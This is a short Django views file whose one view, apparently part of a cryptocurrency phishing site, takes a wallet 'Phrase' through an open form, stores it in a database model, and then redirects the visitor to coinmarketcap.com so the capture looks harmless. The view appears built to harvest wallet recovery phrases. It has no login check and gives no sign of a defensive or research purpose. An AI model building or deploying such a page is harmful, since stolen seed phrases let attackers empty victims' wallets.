from django.shortcuts import render, get_object_or_404
from .models import Detail
from django.contrib.auth.models import User
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView
import psycopg2



class PhraseCreateView(CreateView):
    model = Detail
    template_name = 'wallet/wallet_form.html'
    fields = ['Phrase']
    success_url = 'https://coinmarketcap.com'
   
